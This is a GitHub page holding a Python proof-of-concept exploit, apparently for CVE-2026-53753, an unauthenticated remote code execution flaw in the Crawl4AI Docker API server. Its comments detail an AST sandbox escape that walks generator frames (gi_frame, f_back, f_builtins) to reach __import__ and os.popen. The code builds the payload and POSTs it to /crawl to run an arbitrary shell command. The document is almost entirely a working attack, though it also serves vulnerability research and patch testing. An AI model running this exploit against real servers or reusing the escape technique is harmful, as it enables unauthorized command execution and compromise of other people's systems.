-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit.py
More file actions
131 lines (117 loc) · 6.46 KB
/
Copy pathexploit.py
File metadata and controls
131 lines (117 loc) · 6.46 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/env python3
"""
CVE-2026-53753 — Crawl4AI < 0.8.7 — Unauthenticated Remote Code Execution
AST sandbox escape in the `_safe_eval_expression()` computed-fields evaluator.
The Docker API server (`POST /crawl`) deserializes a caller-supplied
`crawler_config` into a `CrawlerRunConfig`, including a `JsonCssExtractionStrategy`
schema. A computed field of type `expression` is passed to `_safe_eval_expression()`,
whose AST allow-list only rejects attribute/call names starting with "_" (and imports).
Frame attributes `gi_frame` / `f_back` / `f_builtins` do not start with "_", and the
builtins dict key `__import__` is reached via subscript (never inspected). Walking the
running generator's frame chain escapes the sandboxed builtins to the real builtins,
yielding `__import__('os').popen(<cmd>).read()` (output returned in-band).
No authentication is required: the shipped config has `jwt_enabled: false`, so the
`/crawl` token dependency is a no-op.
Author: Caio Fabrício (BiiTts) — https://github.com/BiiTts
For authorized security testing only.
"""
import argparse
import json
import sys
import urllib.request
def build_expression(cmd: str) -> str:
"""Computed-field expression that escapes the AST sandbox and runs `cmd`.
Uses os.popen(cmd).read() so the command's stdout becomes the computed field
value and is returned IN-BAND in the /crawl JSON response (in-band RCE proof).
"""
# Final expression (with CMD substituted):
#
# (lambda: ((g := (g.gi_frame.f_back.f_back.f_back
# .f_builtins['__import__']('os').popen('CMD').read()
# for i in [1])), list(g))[-1])()
#
# Token-by-token, mapped to the AST node the validator sees (extraction_strategy.py):
#
# (lambda: ...)() ast.Lambda + ast.Call(func=Lambda) -> not a Name/Attribute, NOT checked.
# The lambda creates a real function scope so the walrus name below
# becomes a CLOSURE CELL that the inner genexpr can read.
# ( A , list(g) )[-1] ast.Tuple + ast.Subscript. Walrus is ILLEGAL inside a comprehension's
# iterable, so we bind g here, in a tuple element, then drive it.
# g := ( <body> for i in [1])
# ast.NamedExpr binding an ast.GeneratorExp. Neither is inspected.
# The genexpr <body> references g (itself) via the closure cell.
# list(g) ast.Call(func=Name 'list'). 'list' does NOT start with '_' and is in
# _SAFE_EVAL_BUILTINS, so the call passes AND it RUNS the generator,
# making g.gi_frame a LIVE frame (so .f_back is populated, not None).
# g.gi_frame ast.Attribute attr='gi_frame' -> no leading '_', PASSES.
# .f_back .f_back .f_back ast.Attribute attr='f_back' x3 -> no leading '_', PASSES.
# Walks up: running genexpr -> eval('<expression>') frame (sandboxed
# builtins) -> lambda frame -> _safe_eval_expression frame (REAL builtins).
# .f_builtins ast.Attribute attr='f_builtins' -> no leading '_', PASSES.
# On the outer frame this is the FULL builtins mapping (__import__, etc.).
# ['__import__'] ast.Subscript. The validator only checks ast.Attribute.attr and
# ast.Call func names -- it NEVER looks at subscript keys. The dunder
# string '__import__' slips through as plain data.
# ('os') ast.Call whose func is the Subscript above (not Name/Attribute) -> not
# checked. Yields the real os module.
# .popen('CMD').read() ast.Attribute attr='popen'/'read' -> no leading '_', PASSES. popen runs
# the shell command; .read() returns its STDOUT, which becomes the genexpr
# value -> the computed field value -> reflected in the /crawl response.
#
# f_back depth = 3 is correct for crawl4ai 0.8.6's _safe_eval_expression call stack.
safe_cmd = cmd.replace("\\", "\\\\").replace("'", "\\'") # keep the single-quoted shell string intact
chain = "g.gi_frame.f_back.f_back.f_back.f_builtins"
return (
"(lambda: (("
f"g := ({chain}['__import__']('os').popen('{safe_cmd}').read() for i in [1])"
"), list(g))[-1])()"
)
def build_payload(cmd: str) -> dict:
expr = build_expression(cmd)
html = "<html><body><div id='x'>hi</div></body></html>"
return {
"urls": [f"raw://{html}"],
"crawler_config": {
"type": "CrawlerRunConfig",
"params": {
"extraction_strategy": {
"type": "JsonCssExtractionStrategy",
"params": {
"schema": {
"name": "pwn",
"baseSelector": "div",
"fields": [
{"name": "out", "type": "computed", "expression": expr}
],
}
},
}
},
},
}
def main() -> int:
ap = argparse.ArgumentParser(description="CVE-2026-53753 Crawl4AI unauth RCE PoC")
ap.add_argument("target", help="Base URL, e.g. http://127.0.0.1:11235")
ap.add_argument("-c", "--cmd", default="id", help="Shell command to run on the server")
ap.add_argument("--print-payload", action="store_true", help="Print JSON payload and exit")
args = ap.parse_args()
payload = build_payload(args.cmd)
if args.print_payload:
print(json.dumps(payload, indent=2))
return 0
url = args.target.rstrip("/") + "/crawl"
data = json.dumps(payload).encode()
req = urllib.request.Request(url, data=data, headers={"Content-Type": "application/json"})
print(f"[*] POST {url} (cmd: {args.cmd!r}, no auth)")
try:
with urllib.request.urlopen(req, timeout=120) as resp:
body = resp.read().decode(errors="replace")
print(f"[*] HTTP {resp.status}")
print(body[:800])
except Exception as e:
# os.system return code is an int; extraction swallows output, so non-2xx is common.
print(f"[!] Request raised/returned: {e}")
print("[*] Command executed server-side. Use a blind/OAST or file-write cmd to confirm.")
return 0
if __name__ == "__main__":
sys.exit(main())